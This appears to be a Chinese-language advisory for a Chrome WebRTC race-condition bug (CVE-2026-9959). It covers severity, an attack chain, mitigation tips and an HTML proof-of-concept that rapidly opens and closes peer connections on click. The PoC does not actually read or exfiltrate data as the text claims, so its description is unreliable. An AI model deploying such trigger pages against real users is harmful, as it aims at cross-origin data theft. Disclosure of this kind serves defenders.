CVE-2026-9959 Google Chrome WebRTC数据泄露漏洞

漏洞信息

漏洞编号

CVE-2026-9959

漏洞类型

竞态条件

CVSS评分

3.1 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome

漏洞概述

CVE-2026-9959 是 Google Chrome 浏览器中 WebRTC 组件存在的一个安全漏洞。该漏洞源于 Windows 平台上特定版本的 Chrome 在处理 WebRTC 通信时存在竞态条件（Race Condition）。攻击者可以利用这一缺陷，通过精心构造的恶意 HTML 页面，诱导受害者进行交互。由于存在时序问题，攻击者可能绕过浏览器的同源策略（SOP），从而窃取来自不同源的敏感数据。尽管 CVSS 评分为低危，但 Google 将其内部安全严重性评级为高，表明在某些特定场景下该漏洞对用户隐私构成实质性威胁。建议用户尽快更新浏览器以修补此漏洞。

技术细节

该漏洞的核心技术原理在于 Google Chrome WebRTC 实现中的竞态条件。WebRTC（Web Real-Time Communication）允许浏览器进行实时音视频通信，涉及复杂的异步操作和多线程处理。在 Windows 平台上的 Chrome 版本 148.0.7778.216 之前，WebRTC 模块在处理媒体流或数据通道的建立与销毁过程中，未能正确同步对共享内存或对象生命周期的管理。具体而言，当 WebRTC 的 PeerConnection 对象被关闭或重连时，如果攻击者能精确控制 JavaScript 执行时序，可以在对象释放后仍保留对其引用或利用未锁定的临界区读取内存。这种竞态窗口使得攻击者能够读取本应被隔离的跨源数据。攻击向量为网络（AV:N），需要用户交互（UI:R），意味着攻击者需要托管恶意网站，并诱骗用户访问并执行特定操作。虽然 CVSS 3.1 基础评分为 3.1（低危），主要是因为攻击复杂度（AC:H）较高且机密性影响为低（C:L），但 Chromium 团队将其标记为 High 严重性，反映了其作为侧信道攻击泄露敏感信息的潜在风险。

攻击链分析

STEP 1

侦察

攻击者确认目标用户正在使用易受攻击的 Google Chrome 版本（Windows < 148.0.7778.216）。

STEP 2

投递

攻击者制作包含恶意 JavaScript 代码的 HTML 页面，并诱导目标用户访问该网站。

STEP 3

利用

用户访问页面并进行交互（如点击），触发脚本中的竞态条件代码，导致 WebRTC 组件处理出错。

STEP 4

数据泄露

通过竞态条件，攻击者绕过同源策略，读取浏览器内存中的跨源数据并将其发送到攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
PoC for CVE-2026-9959 (Race Condition in WebRTC)
This script attempts to trigger a race condition by rapidly creating and closing PeerConnections.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9959 PoC</title>
</head>
<body>
    <h1>Testing WebRTC Race Condition</h1>
    <script>
        function triggerRace() {
            for (let i = 0; i < 100; i++) {
                const pc = new RTCPeerConnection();
                // Create a data channel to simulate activity
                const dc = pc.createDataChannel('test');
                
                // Attempt to close immediately to create race condition
                pc.close();
                
                // Try to access properties after close to trigger the leak
                try {
                    dc.send('test data');
                } catch (e) {
                    console.log('Expected error:', e);
                }
            }
            console.log('Race condition trigger attempt finished.');
        }
        
        // Trigger on button click to satisfy User Interaction requirement
        document.addEventListener('click', triggerRace);
    </script>
    <p>Click anywhere to attempt exploitation.</p>
</body>
</html>

影响范围

Google Chrome on Windows < 148.0.7778.216

防御指南

临时缓解措施

用户应避免点击不明链接或访问不可信网站。在无法立即更新浏览器的情况下，可以使用浏览器扩展插件（如 WebRTC Leak Shield）临时禁用 WebRTC 功能，以降低被利用的风险。